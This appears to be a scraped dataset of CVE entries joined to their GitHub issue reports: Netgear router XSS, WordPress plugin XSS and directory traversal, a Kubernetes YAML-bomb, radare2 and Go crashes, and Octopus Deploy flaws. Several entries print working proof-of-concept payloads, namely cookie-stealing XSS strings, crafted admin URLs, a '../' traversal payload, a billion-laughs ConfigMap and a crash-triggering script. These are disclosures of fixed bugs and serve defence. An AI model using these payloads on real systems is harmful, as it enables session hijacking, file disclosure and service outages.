<strong>Timeline</strong>
28/10/2015 – Discovered in Netgear Router Firmware Version 1.0.0.24
28/10//2015 - Reported to vendor through support option but, no response
30/10//2015 - Reported to vendor through another support option available <a href="http://support.netgear.com/for_home/default.aspx">here</a>. But, again no response.
03/11/2015 - Finally, Technical Team started addressing about the issue after so many followups through phone/mail.
13/12/2015 - Vulnerability got fixed & case was closed.
30/12/2015 - Netgear Released updated Netgear Router JNR1010 version 1.0.0.32
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| Cross Site Request Forgery in Netgear Router JNR1010 Version 1.0.0.24 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/13/comments | 0 | 2016-01-11T05:52:35Z | 2016-01-11T11:14:41Z | https://github.com/cybersecurityworks/Disclosed/issues/13 | 125,878,416 | 13 |
CVE-2016-11016 | 2019-10-16T11:15:13.987 | NETGEAR JNR1010 devices before 1.0.0.32 allow webproc?getpage= XSS. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"cybersecurityworks",
"Disclosed"
] | # Details
# Product Vendor: Netgear
# Bug Name: Cross Site Scripting in Netgear Router Version 1.0.0.24
# Software: Netgear Router Firmware
# Version: 1.0.0.24
# Last Updated: <a href="http://kb.netgear.com/app/answers/detail/a_id/29270/~/jnr1010-firmware-version-1.0.0.24">10-06-2015</a>
# Homepage: http://netgear.com/
# Severity High
# Vulnerable URL: <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a>
# Vulnerable Variable: <strong>getpage, var:page & var:menu</strong>
# Parameter: GET
# Status: <a href="http://kb.netgear.com/app/answers/detail/a_id/30177/~/jnr1010-firmware-version-1.0.0.32">Fixed</a>
# Exploitation Requires Authentication?: no
# POC URL: https://www.youtube.com/watch?v=ITLg-uL68CU&index=7&list=PLrTr4Cobqhhw-72HKFFuwgBu6gXJSmeoT
# Description
Cross Site Scripting (XSS) vulnerability in Netgear Router Firmware Version 1.0.0.24. By exploiting a Cross-site scripting vulnerability the attacker can hijack a logged in user’s session by stealing cookies. This means that the malicious hacker can change the logged in user’s password and invalidate the session of the victim while the hacker maintains access.
# Proof of concept: (POC)
Inject the malicious JavaScript code `”></scripT><scripT>alert(1)</scripT>` in the<strong>getpage</strong> variable in the URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a> and viewing it on browser will result in execution of Cross Site Scripting (XSS)
<strong>Note:</strong> Similarly, <strong>var:page</strong> & <strong>var:menu</strong> variable is also injected with malicious JavaScript payload and use it as a vehicle for further attack.
<strong>Issue 1:</strong>
The GET request parameter <strong>getpage</strong> variable in the following URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a> is vulnerable to Cross Site Scripting (XSS).
<strong>Figure 1:</strong> XSS Payload injected to <strong>getpage</strong> variable and its echoed back in the given response URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a>
<strong>Figure 2:</strong> XSS Payload gets reflected in the browser
<strong>Issue 2:</strong>
The GET request parameter <strong>var:page</strong> variable in the following URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a> is vulnerable to Cross Site Scripting (XSS).
<strong>Figure 3:</strong> XSS Payload injected to <strong>var:page</strong> variable and its echoed back in the given response URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a>
<strong>Issue 3:</strong>
The GET request parameter <strong>var:menu</strong> variable in the following URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a> is vulnerable to Cross Site Scripting (XSS).
<strong>Figure 4:</strong> XSS Payload injected to <strong>var:menu</strong> variable and its echoed back in the given response URL <a href="http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593">http://router-ip/cgi-bin/webproc?getpage=html/page.htm&var:page=RST_status&var:menu=advanced&t=1445843230593</a>
---
<strong>Timeline</strong>
28/10/2015 – Discovered in Netgear Router Firmware Version 1.0.0.24
28/10//2015 - Reported to vendor through support option but, no response
30/10//2015 - Reported to vendor through another support option available <a href="http://support.netgear.com/for_home/default.aspx">here</a>. But, again no response.
03/11/2015 - Finally, Technical Team started addressing about the issue after so many followups through phone/mail.
13/12/2015 - Vulnerability got fixed & case was closed.
30/12/2015 - Netgear Released updated version 1.0.0.32
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| Multiple Cross Site Scripting in Netgear Router Version 1.0.0.24 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/12/comments | 0 | 2016-01-09T12:31:10Z | 2016-01-09T12:31:10Z | https://github.com/cybersecurityworks/Disclosed/issues/12 | 125,756,407 | 12 |
CVE-2019-11253 | 2019-10-17T16:15:10.443 | Improper input validation in the Kubernetes API server in versions v1.0-1.12 and versions prior to v1.13.12, v1.14.8, v1.15.5, and v1.16.2 allows authorized users to send malicious YAML or JSON payloads, causing the API server to consume excessive CPU or memory, potentially crashing and becoming unavailable. Prior to v1.14.0, default RBAC policy authorized anonymous users to submit requests that could trigger this vulnerability. Clusters upgraded from a version prior to v1.14.0 keep the more permissive policy by default for backwards compatibility. | {
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"kubernetes",
"kubernetes"
] | CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. This vulnerability has been given an initial severity of High, with a score of 7.5 ([CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)).
Prior to v1.14.0, default RBAC policy authorized anonymous users to submit requests that could trigger this vulnerability. Clusters upgraded from a version prior to v1.14.0 keep the more permissive policy by default for backwards compatibility. See the mitigation section below for instructions on how to install the more restrictive v1.14+ policy.
**Affected versions:**
* Kubernetes v1.0.0-1.12.x
* Kubernetes v1.13.0-1.13.11, resolved in v1.13.12 by https://github.com/kubernetes/kubernetes/pull/83436
* Kubernetes v1.14.0-1.14.7, resolved in v1.14.8 by https://github.com/kubernetes/kubernetes/pull/83435
* Kubernetes v1.15.0-1.15.4, resolved in v1.15.5 by https://github.com/kubernetes/kubernetes/pull/83434
* Kubernetes v1.16.0-1.16.1, resolved in v1.16.2 by https://github.com/kubernetes/kubernetes/pull/83433
All four patch releases are now available.
Fixed in master by #83261
**Mitigation:**
Requests that are rejected by authorization do not trigger the vulnerability, so managing authorization rules and/or access to the Kubernetes API server mitigates which users are able to trigger this vulnerability.
To manually apply the more restrictive v1.14.x+ policy, either as a pre-upgrade mitigation, or as an additional protection for an upgraded cluster, save the [attached file](https://github.com/kubernetes/kubernetes/files/3735508/rbac.yaml.txt) as `rbac.yaml`, and run:
```sh
kubectl auth reconcile -f rbac.yaml --remove-extra-subjects --remove-extra-permissions
```
**Note: this removes the ability for unauthenticated users to use `kubectl auth can-i`**
If you are running a version prior to v1.14.0:
* in addition to installing the restrictive policy, turn off autoupdate for this clusterrolebinding so your changes aren’t replaced on an API server restart:
```sh
kubectl annotate --overwrite clusterrolebinding/system:basic-user rbac.authorization.kubernetes.io/autoupdate=false
```
* after upgrading to v1.14.0 or greater, you can remove this annotation to reenable autoupdate:
```sh
kubectl annotate --overwrite clusterrolebinding/system:basic-user rbac.authorization.kubernetes.io/autoupdate=true
```
=============
**Original description follows:**
**Introduction**
Posting this as an issue following report to the security list who suggested putting it here as it's already public in a Stackoverflow question [here](https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap/58133282#58133282)
**What happened**:
When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a ["Billion Laughs" attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) which is quite well known as an XML parsing issue.
Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.
```
apiVersion: v1
data:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
name: yaml-bomb
namespace: default
```
**What you expected to happen**:
Ideally it would be good for a maximum size of entity to be defined, or perhaps some limit on recursive references in YAML parsed by kubectl.
One note is that the original poster on Stackoverflow indicated that the resource consumption was in `kube-apiserver` but both tests I did (1.16 client against 1.15 Kubeadm cluster and 1.16 client against 1.16 kubeadm cluster) showed the CPU usage client-side.
**How to reproduce it (as minimally and precisely as possible)**:
Get the manifest above and apply to a cluster as normal with `kubectl create -f <manifest>`. Use `top` or another CPU monitor to observe the quantity of CPU time used.
**Anything else we need to know?**:
**Environment**:
- Kubernetes version (use `kubectl version`):
**test 1** (linux AMD64 client, Kubeadm cluster running in kind)
```
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:36:53Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"15", GitVersion:"v1.15.0", GitCommit:"e8462b5b5dc2584fdcd18e6bcfe9f1e4d970a529", GitTreeState:"clean", BuildDate:"2019-06-25T23:41:27Z", GoVersion:"go1.12.5", Compiler:"gc", Platform:"linux/amd64"}
```
**test 2** (Linux AMD64 client, Kubeadm cluster running in VMWare Workstation)
```
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:36:53Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:27:17Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
```
| CVE-2019-11253: Kubernetes API Server JSON/YAML parsing vulnerable to resource exhaustion attack | https://api.github.com/repos/kubernetes/kubernetes/issues/83253/comments | 17 | 2019-09-27T16:53:31Z | 2022-10-14T02:09:16Z | https://github.com/kubernetes/kubernetes/issues/83253 | 499,548,171 | 83,253 |
CVE-2019-17596 | 2019-10-24T22:15:10.407 | Go before 1.12.11 and 1.3.x before 1.13.2 can panic upon an attempt to process network traffic containing an invalid DSA public key. There are several attack scenarios, such as traffic from a client to a server that verifies client certificates. | {
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"golang",
"go"
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Moreover, an application might crash invoking crypto/x509.(*CertificateRequest) CheckSignature on an X.509 certificate request, parsing a golang.org/x/crypto/openpgp Entity, or during a golang.org/x/crypto/otr conversation. Finally, a golang.org/x/crypto/ssh client can panic due to a malformed host key, while a server could panic if either PublicKeyCallback accepts a malformed public key, or if IsUserAuthority accepts a certificate with a malformed public key.
The issue is CVE-2019-17596. | crypto/dsa: invalid public key causes panic in dsa.Verify | https://api.github.com/repos/golang/go/issues/34960/comments | 6 | 2019-10-17T18:43:01Z | 2020-11-04T20:23:14Z | https://github.com/golang/go/issues/34960 | 508,654,280 | 34,960 |
CVE-2019-19084 | 2019-11-18T16:15:12.370 | In Octopus Deploy 3.3.0 through 2019.10.4, an authenticated user with PackagePush permission to upload packages could upload a maliciously crafted package, triggering an exception that exposes underlying operating system details. | {
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An authenticated user could upload a maliciously crafted package, triggering an exception that discloses details of the underlying operating system.
CVE: `CVE-2019-19084`
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4684
| (Hosted only) Local path configuration disclosed when uploading maliciously crafted package | https://api.github.com/repos/OctopusDeploy/Issues/issues/5971/comments | 4 | 2019-11-05T04:10:15Z | 2020-02-16T23:36:40Z | https://github.com/OctopusDeploy/Issues/issues/5971 | 517,537,845 | 5,971 |
CVE-2019-19085 | 2019-11-18T16:15:12.497 | A persistent cross-site scripting (XSS) vulnerability in Octopus Server 3.4.0 through 2019.10.5 allows remote authenticated attackers to inject arbitrary web script or HTML. | {
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CVE: CVE-2019-19085
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4642 | XSS vulnerability | https://api.github.com/repos/OctopusDeploy/Issues/issues/5961/comments | 3 | 2019-11-04T04:11:46Z | 2020-02-16T23:36:30Z | https://github.com/OctopusDeploy/Issues/issues/5961 | 516,951,481 | 5,961 |
CVE-2015-9537 | 2019-11-26T15:15:11.190 | The NextGEN Gallery plugin before 2.1.10 for WordPress has multiple XSS issues involving thumbnail_width, thumbnail_height, thumbwidth, thumbheight, wmXpos, and wmYpos, and template. | {
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"cybersecurityworks",
"Disclosed"
] | # Details
Word Press Product Bugs Report
Bug Name XSS (Cross Site Scripting)
Software: NextGen Gallery
Version: 2.1.7
Last Updated: 12-08-2015
Homepage: https://wordpress.org/plugins/nextgen-gallery/download/
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.6.1 or higher)
Severity High
Description: Multiple XSS vulnerability in WordPress plugin NextGen Gallery
# Proof of concept: (POC)
Visit the following page on a site with this plugin installed. http://wordpresssite.com/wordpress/wp-admin/admin.php?page=nggallery-manage-gallery&mode=edit&gid=1&paged=1 and modify the value of path variable in NextGEN Gallery Photocrati Version 2.1.10 with ’></a></script><script>alert(document.cookie);</script> payload and save it to view further.
Now, the added XSS payload will be executed whenever the user reviews it.
<strong>Note:</strong> XSS payload has been tried with the application once after implementing Unfiltered Html Settings as defined to wp-config.php file.
<em><strong><center>define( 'DISALLOW_UNFILTERED_HTML', true );</center></strong></em>
<strong>Issue 1:</strong>
Vulnerable URL: http://wordpresssite.com/wordpress/wp-admin/admin.php?page=ngg_display_settings
Request: POST
Vulnerable Variable list:
• photocrati-nextgen_basic_thumbnails[thumbnail_width]
• photocrati-nextgen_basic_thumbnails[thumbnail_height]
• photocrati-nextgen_basic_thumbnails[template]
• photocrati-nextgen_basic_imagebrowser[template]
• photocrati-nextgen_basic_singlepic[template]
• photocrati-nextgen_basic_compact_album[template]
• photocrati-nextgen_basic_compact_album[thumbnail_width]
• photocrati-nextgen_basic_compact_album[thumbnail_height]
• photocrati-nextgen_basic_extended_album[template]
• photocrati-nextgen_basic_extended_album[thumbnail_width]
• photocrati-nextgen_basic_extended_album[thumbnail_height]
<strong>Figure 1:</strong> HTTP Request & response for the vulnerable variable photocrati-nextgen_basic_thumbnails[thumbnail_width]
---
<strong>Issue 2:</strong>
Vulnerable URL: http://wordpresssite.com/wordpress/wp-admin/admin.php?page=ngg_other_options
Request: POST
Vulnerable Variable list:
• thumbnail_settings[thumbwidth]
• thumbnail_settings[thumbheight]
• watermark_options[wmXpos]
• watermark_options[wmYpos]
<strong>Figure 2:</strong> HTTP Request & response for the vulnerable variable thumbnail_settings[thumbwidth]
<strong>Figure 3:</strong> XSS response executed in browser
---
<strong>Reproducing Steps</strong>
1) Logon into any wordpress application (localhost or public host)
2) Modifying the above mentioned variables in NextGEN Gallery Photocrati Version 2.1.7 (recently updated version)
3) Fill all the variables with `“><img src=x onerror=prompt(1)>` payload and save it to view further.
4) Now, the added XSS payload will be executed whenever we review it.
---
<strong>Timeline</strong>
31-08-2015 – Discovered in NextGen Gallery 2.1.7 version
31-08-2015 – Reported to WP Plugin
01-09-2015 – Fixed in 2.1.10 version of NextGen Gallery
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| Multiple XSS in NextGEN Gallery by Photocrati Version 2.1.7 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/1/comments | 1 | 2015-08-27T13:22:02Z | 2024-05-10T04:43:44Z | https://github.com/cybersecurityworks/Disclosed/issues/1 | 103,507,915 | 1 |
CVE-2015-9538 | 2019-11-26T15:15:11.253 | The NextGEN Gallery plugin before 2.1.15 for WordPress allows ../ Directory Traversal in path selection. | {
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Bug Name LFI (Local File Inclusion)
Area Path NextGEN Gallery by Photocrati Version 2.1.7 (Plugin)
Last Updated 12-08-2015
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.6.1 or higher)
Severity High
Reported by Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a> ([email protected])
The existed filter name with Local File Inclusion (LFI) payload is executing when the user tries to modify the File path with LFI Payload & sent to the server.
POC:
**Figure 1:** HTTP Request & Response for the vulnerable dir variable with ../../../../../../../../../../../xampp/htdocs/wordpress/ (Any traversal) payload
Note: Similarly, The user can fetch any details from any website hosted in the same server.
**Reproducing Steps:**
1) Logon into the application.
2) Access NextGEN Gallery by Photocrati Plugin
3) Click on the path selection on the given folders.
4) Modify dir variable value with ../../../../../../../../../../../xampp/htdocs/wordpress/ (Any traversal) payload in the intercepting proxy.
5) Now You can see the internal available system folders
| Traversal Attack / Local File Inclusion (LFI) in NextGEN Gallery by Photocrati Version 2.1.7 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/2/comments | 0 | 2015-08-28T11:58:55Z | 2015-11-25T11:23:59Z | https://github.com/cybersecurityworks/Disclosed/issues/2 | 103,705,424 | 2 |
CVE-2015-9539 | 2019-11-26T15:15:11.347 | The Fast Secure Contact Form plugin before 4.0.38 for WordPress allows fs_contact_form1[welcome] XSS. | {
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"cybersecurityworks",
"Disclosed"
] | # Details
Word Press Product Bugs Report
Bug Name XSS (Cross Site Scripting)
Software: Fast Secure Contact Form plugin
Version: 4.0.37
Last Updated: 21-08-2015
Homepage: https://wordpress.org/plugins/si-contact-form/
Compatible Up to Wordpress 4.3.0 Version (Requires: 3.4.2 or higher)
Severity High
Description: XSS vulnerability in WordPress plugin Fast Secure Contact Form
Changelog: https://wordpress.org/plugins/si-contact-form/changelog/
# Proof of concept
Visit the following page on a site with this plugin installed. http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1 and modify the value of <strong>fs_contact_form1[welcome]</strong> variable with `<script>alert(document.cookie);</script>` payload and send the request to the server.
Now, the added XSS payload will be echoed back from the server without validating the input whenever we visit the script stored page.
<strong>Note:</strong> XSS payload has been tried with the application once after implementing Unfiltered Html Settings as defined to wp-config.php file.
<em><strong><center>define( 'DISALLOW_UNFILTERED_HTML', true );</center></strong></em>
<strong>Issue 1:</strong>
POST request parameter fs_contact_form1[welcome] variable in the given URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1 of Fast Secure Contact Form 4.0.37 is vulnerable to Cross Site Scripting (XSS)
<strong>Figure 1:</strong> XSS Payload injected to fs_contact_form1[welcome] variable in the given URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1
<strong>Figure 2:</strong> XSS Payload executed in the browser whenever the user views it.
---
<strong>Reproducing Steps</strong>
1) Logon into any wordpress application (localhost or public host)
2) Modifying the variable fs_contact_form1[welcome] in Fast Secure Contact Form 4.0.37 (recently updated version) in the URL http://yourwordpresssite.com/wordpress/wp-admin/plugins.php?page=si-contact-form%2Fsi-contact-form.php&fscf_form=1&fscf_tab=1
3) Fill all the variables with `<script>alert(document.cookie);</script>` payload and save it to view further.
4) Now, the added XSS payload will be executed whenever the user reviews it.
---
<strong>Timeline</strong>
05-09-2015 – Discovered in Fast Secure Contact Form plugin 4.0.37 Version
07-09-2015 – Reported to WP Plugin
07-09-2015 – WP Plugin responded, "Thank you for reporting this plugin. We're looking into it right now."
08-09-2015 – Fixed in 4.0.38 version of Fast Secure Contact Form plugin
---
<strong>Discovered by:</strong>
Sathish from <a href="http://www.cybersecurityworks.com">Cyber Security Works Pvt Ltd</a>
| XSS Vulnerability in Fast Secure Contact form version 4.0.37 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/4/comments | 0 | 2015-09-14T10:50:07Z | 2015-09-14T10:58:55Z | https://github.com/cybersecurityworks/Disclosed/issues/4 | 106,317,022 | 4 |
CVE-2019-19306 | 2019-11-26T15:15:13.377 | The Zoho CRM Lead Magnet plugin 1.6.9.1 for WordPress allows XSS via module, EditShortcode, or LayoutName. | {
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"cybersecurityworks",
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ZOHO CRM Lead Magnet version 1.6.9.1
Bug Name: Reflected Cross Site Scripting (XSS) in WordPress Plugin
Product: ZOHO CRM Lead Magnet version 1.6.9.1
Version: 1.6.9.1
Last Updated: 14-10-2019
Homepage: http://localhost/wordpress/
Severity: High
Status: Fixed
Exploitation Requires Authentication?: yes
Vulnerable URL: http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Leads&EditShortcode=58H3N&LayoutName=Standard&formName=Unititled
Vulnerable Variable: <strong>Module & EditShortcode & LayoutName</strong>
# Description:
A cross site scripting (XSS) attack can cause arbitrary code (java script) to run in a user’s browser while the browser is connected to a trusted web site. The application targets your application’s users and not the application itself, but it uses your application as the vehicle for the attack. XSS payload is executing when the user loads an create lead form page created in <strong> Zoho CRM Lead Magnet Version 1.6.9.1 </strong>
# Proof of concept: (POC)
<strong>Issue 1:</strong>
By exploiting a Cross-site scripting vulnerability an attacker easily gain access to user’s session by stealing cookies and also exploit the user browser.
1. Login to the application
2. Install <a href="https://wordpress.org/plugins/zoho-crm-forms/">Zoho CRM Lead Magnet Plugin</a>
<strong>Figure 01:</strong> Zoho CRM Lead Magnet
3. Configure the <strong>client id</strong> and <strong>secret key</strong>
<strong>Figure 02:</strong> client key and secret id are filled in Authenticating Zoho CRM Plugin
4. Click on <strong>Create New Form</strong> button and fill the values and click on <strong>Next</strong> button
<strong>Figure 03:</strong> new form in Zoho CRM Plugin
5. Add the payload `<img src=x onerror=alert(document.cookie)>` to the vulnerable parameters by intercepting the request in a proxy tool.
<strong>Figure 04:</strong> Request with XSS payload sent to the server
<strong>Figure 05:</strong> Request and response captured in the proxy
6. Injected XSS payload is successfully executed when the user visits or reloads the page
<strong>Figure 06:</strong> The JavaScript is successfully executed in the victim browser context
<strong>Figure 07:</strong> The WordPress application running on version 5.2.3
<strong>Figure 08:</strong> The WordPress <strong>Zoho CRM Lead Magnet plugin Version: 1.6.9.1</strong>
<strong>Figure 09:</strong> The default cross-site scripting mitigation setting in <strong>wp.config</strong> file to prevent cross site scripting attacks.
---
<strong>Reproducing Steps</strong>
1. Logon into WordPress application in localhost
2. Access the vulnerable GET Request <a href="http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Lea%3Cimg%20src=x%20onerror=alert(document.cookie)%3Eds&EditShortcode=58H%3Cimg%20src=x%20onerror=alert(document.cookie)%3E3N&LayoutName=Stan%3Cimg%20src=x%20onerror=alert(document.cookie)%3Edard&formName=Unititled">URL</a> with XSS payload inserted into the vulnerable variable.
3. XSS will get executed in the user machine once the user clicks on the given vulnerable <a href="http://localhost/wordpress/wp-admin/admin.php?page=create-leadform-builder&__module=ManageShortcodes&__action=zcfCrmManageFieldsLists&onAction=onCreate&crmtype=crmformswpbuilder&module=Lea%3Cimg%20src=x%20onerror=alert(document.cookie)%3Eds&EditShortcode=58H%3Cimg%20src=x%20onerror=alert(document.cookie)%3E3N&LayoutName=Stan%3Cimg%20src=x%20onerror=alert(document.cookie)%3Edard&formName=Unititled">link.</a>
---
<strong>Timeline</strong>
2019-10-13 – Discovered in `WordPress( Zoho CRM Lead Magnet Plugin )` Product
2019-10-14 – Reported to [email protected]
2019-10-15 – Received instant response from WordPress plugin team.
2019-10-15 – Issue acknowledged and fixed immediately.
2019-10-16 – Came up with a write up <a href="https://github.com/cybersecurityworks/Disclosed/issues/16">here.</a>
---
<strong>Discovered by:</strong>
Saran Baskar from <a href="http://www.cybersecurityworks.com">Cyber Security Works Research Lab</a> | ZOHO CRM Lead Magnet version 1.6.9.1 | https://api.github.com/repos/cybersecurityworks/Disclosed/issues/16/comments | 0 | 2019-10-16T11:06:22Z | 2019-10-16T13:31:02Z | https://github.com/cybersecurityworks/Disclosed/issues/16 | 507,779,866 | 16 |
CVE-2019-19375 | 2019-11-28T17:15:12.383 | In Octopus Deploy before 2019.10.7, in a configuration where SSL offloading is enabled, the CSRF cookie was sometimes sent without the secure attribute. (The fix for this was backported to LTS versions 2019.6.14 and 2019.9.8.) | {
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CVE: `CVE-2019-19375`
Relates to https://github.com/OctopusDeploy/OctopusDeploy/issues/4763 | CSRF cookie sometimes missing secure attribute | https://api.github.com/repos/OctopusDeploy/Issues/issues/5998/comments | 2 | 2019-11-14T02:15:57Z | 2020-02-28T07:02:35Z | https://github.com/OctopusDeploy/Issues/issues/5998 | 522,581,170 | 5,998 |
CVE-2019-19376 | 2019-11-28T17:15:12.777 | In Octopus Deploy before 2019.10.6, an authenticated user with TeamEdit permission could send a malformed Team API request that bypasses input validation and causes an application level denial of service condition. (The fix for this was also backported to LTS 2019.9.8 and LTS 2019.6.14.) | {
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] | https://github.com/OctopusDeploy/Issues/issues/6005 | [
"Third Party Advisory"
] | github.com | [
"OctopusDeploy",
"Issues"
] | If a malformed request is submitted to the Team API, for either create or modify, the save is successful. However, the code that reads the team data isn't expecting the invalid data and hits a null reference exception.
Without that cache the server APIs cannot load permissions and return an error for all incoming requests. It isn't possible to create this situation through the portal, only through the API.
CVE: CVE-2019-19376
Relates to OctopusDeploy/OctopusDeploy#4740 | Invalid request submitted to Team API can cause denial of service | https://api.github.com/repos/OctopusDeploy/Issues/issues/6005/comments | 2 | 2019-11-14T05:14:54Z | 2020-02-28T07:01:59Z | https://github.com/OctopusDeploy/Issues/issues/6005 | 522,629,758 | 6,005 |
CVE-2019-19590 | 2019-12-05T02:15:19.337 | In radare2 through 4.0, there is an integer overflow for the variable new_token_size in the function r_asm_massemble at libr/asm/asm.c. This integer overflow will result in a Use-After-Free for the buffer tokens, which can be filled with arbitrary malicious data after the free. This allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via crafted input. | {
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"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"radareorg",
"radare2"
] | ### Work environment
| Questions | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory) | Ubuntu x86 64
| File format of the file you reverse (mandatory) | None
| Architecture/bits of the file (mandatory) | None
| r2 -v full output, **not truncated** (mandatory) | radare2 4.1.0-git 23513 @ linux-x86-64 git.4.0.0-165-gcb60b5e8f commit: cb60b5e8fd8dc76d847d9935d2ded4df2e05b63e build: 2019-12-04__01:01:37
### Expected behavior
```bash
$ cat poc.py
f = open("poc.r", "w")
f.write("/a " + ";" * (2 ** 31 + 16))
f.close()
$ python poc.py
$ r2 -i poc.r malloc://1024 # Expect No Crash
```
### Actual behavior
```bash
$ r2 -i poc.r malloc://1024
Segmentation fault
```
### Steps to reproduce the behavior
- Follow the command I list above
### Additional Logs, screenshots, source-code, configuration dump, ...
In [r_asm_massemble](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L674) at [libr/asm/asm.c](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c), when r2 tries to assemble a long input with **too many tokens**, [new_token_size](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L758) will be integer-overflowed to zero. Later, [realloc(tokens, sizeof (char*) * new_tokens_size)](https://github.com/radareorg/radare2/blob/681fbb04314247c40e50c5fc74bada8f824408aa/libr/asm/asm.c#L759) will actually free `tokens`, leading a **Use-After-Free**. More serious, the freed tokens can be filled with arbitrary data, which can be used to exploit to RCE.
The bug code is listed below, a quick fix will be to add a upper boundary check for `new_token_size`
```c
/* Tokenize */
for (tokens[0] = lbuf, ctr = 0;
((ptr = strchr (tokens[ctr], ';')) ||
(ptr = strchr (tokens[ctr], '\n')) ||
(ptr = strchr (tokens[ctr], '\r')));) {
ctr++;
if (ctr >= tokens_size) {
const int new_tokens_size = tokens_size * 2;
char **new_tokens = realloc (tokens, sizeof (char*) * new_tokens_size);
if (new_tokens) {
tokens_size = new_tokens_size;
tokens = new_tokens;
}
}
*ptr = '\0';
